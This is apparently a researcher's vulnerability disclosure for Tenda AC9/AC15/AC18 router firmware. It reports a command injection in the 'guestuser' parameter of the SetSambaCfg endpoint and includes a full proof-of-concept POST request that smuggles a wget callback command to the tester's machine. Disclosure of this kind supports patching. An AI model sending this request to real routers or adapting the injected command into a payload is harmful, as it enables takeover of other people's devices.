vendor:Tenda

product:AC9 AC15 AC18

version:V15.03.06.42_multi(AC9)， V15.03.05.19(6318)_CN(AC9) and earlier

type:Arbitrary Command Execution

author:Li Yuan Cheng

institution:School of Computer and Cyberspace@Communication University of China

Vulnerability description

I found an `Arbitrary Command Execution` vulnerability in the router's web server--httpd. While processing the `guestuser` parameters for a post request, the value is directly passed to doSystem, which causes a rce. The details are shown below: image

PoC

```
POST /goform/SetSambaCfg HTTP/1.1
Host: 192.168.0.1
Proxy-Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-
exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Cookie: password=hwrmji
Content-Length: 154

password=111111&premitEn=0&internetPort=21&action=delelte&usbName=1&guestpwd=guest&guestuser=;wget
http://192.168.0.198:8888;&guestaccess=r&fileCode=UTF-8
```

While `action != del` ,after the first request is sent, the `guestuser` will be set to `;wget http://192.168.0.198:8888;` , and the router will read the value of `guestuser` for the second send, and then execute `wget http ://192.168.0.198:8888` . `192.168.0.198` is our native computer's ip, then we use nc to listen port 8888, finally we capture http request from `192.168.0.1` , as shown in the figure below.

We tested the vulnerability on a real device, the picture may be a bit fuzzy, but I recorded a video, you can view the specific triggering process of the vulnerability through the video

image

Watch the operation video